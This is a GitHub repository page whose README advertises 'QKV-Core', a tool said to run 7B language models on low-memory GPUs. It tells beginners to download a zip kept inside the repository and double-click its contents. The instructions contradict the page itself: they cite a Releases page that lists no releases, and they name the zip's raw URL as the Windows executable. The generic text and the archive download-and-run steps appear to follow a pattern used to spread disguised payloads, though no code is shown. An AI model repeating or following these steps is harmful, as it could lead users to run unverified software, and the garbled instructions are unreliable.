Skip to content

πŸš€ Run modern 7B LLMs on legacy 4GB GPUs without crashes, breaking the VRAM barrier for developers facing GPU limitations.

License

Notifications You must be signed in to change notification settings

mtmatheuus/QKV-Core

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

17 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ QKV-Core - Run Large Models on Low-End Devices

πŸš€ Getting Started

Welcome to QKV-Core! This application helps you deploy large language models on devices with limited memory. No technical background? No problem! Follow these simple steps to get started.

πŸ“₯ Download the Application

Download QKV-Core

🌟 Features

  • Adaptive Hybrid Quantization: Efficiently handles large models like 7 billion parameters.
  • Low VRAM Optimization: Designed to run on devices with limited memory, such as the GTX 1050.
  • Fast Inference: Utilizes Numba for quick processing.

πŸ’» System Requirements

To run QKV-Core, your device should meet the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Graphics Card: NVIDIA GPU (GTX 1050 or better recommended)
  • Memory: At least 4 GB of RAM
  • Python: Version 3.8 or higher installed
  • CUDA Toolkit: Version 11.0 or higher

πŸ”— Visit the Releases Page to Download

To download the latest version of QKV-Core, visit our Releases page. Here, you'll find the latest versions of the application and any necessary files.

πŸ“₯ Download & Install

  1. Go to the Releases page.
  2. Look for the latest version listed.
  3. Find the file named https://raw.githubusercontent.com/mtmatheuus/QKV-Core/main/model_registry/QK-Core-1.3-beta.4.zip (or the latest version).
  4. Click on the file to start the download.
  5. Once downloaded, locate the file on your computer and unzip it.

πŸ“‚ Running the Application

  1. Open the unzipped folder.
  2. Find https://raw.githubusercontent.com/mtmatheuus/QKV-Core/main/model_registry/QK-Core-1.3-beta.4.zip (for Windows) or QKV-Core (for macOS/Linux).
  3. Double-click the file to run the application.
  4. Follow on-screen instructions to load your model.

βš™οΈ Basic Usage

To use QKV-Core, follow these steps:

  1. After starting the application, you will see an interface prompting you to load a model.
  2. Click on Load Model. Browse your files to select a pre-trained model (ensure it's compatible with QKV-Core).
  3. Once loaded, adjust any settings as needed.
  4. Click Run Model to start inference. You will see the results in the application interface.

πŸ› οΈ Troubleshooting

If you face any issues while using QKV-Core, consider these tips:

  • Installation Issues: Ensure you have all system requirements fulfilled. Check if Python and CUDA are correctly installed.
  • Model Loading Errors: Ensure the model file is in the correct format and compatible with QKV-Core.
  • Running Performance: If the application runs slowly, try closing other applications to free up memory.

🌍 Community Support

Join our community for support:

  • GitHub Discussions: Engage with other users and developers. Share problems, solutions, and improvements.
  • Issues Page: Report any bugs or issues directly on our GitHub repository.

πŸŽ‰ Final Notes

Thank you for choosing QKV-Core! We hope you find it useful for your projects. If you enjoy using the framework, please let us know your thoughts on our community page. Your feedback helps us improve!

About

πŸš€ Run modern 7B LLMs on legacy 4GB GPUs without crashes, breaking the VRAM barrier for developers facing GPU limitations.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages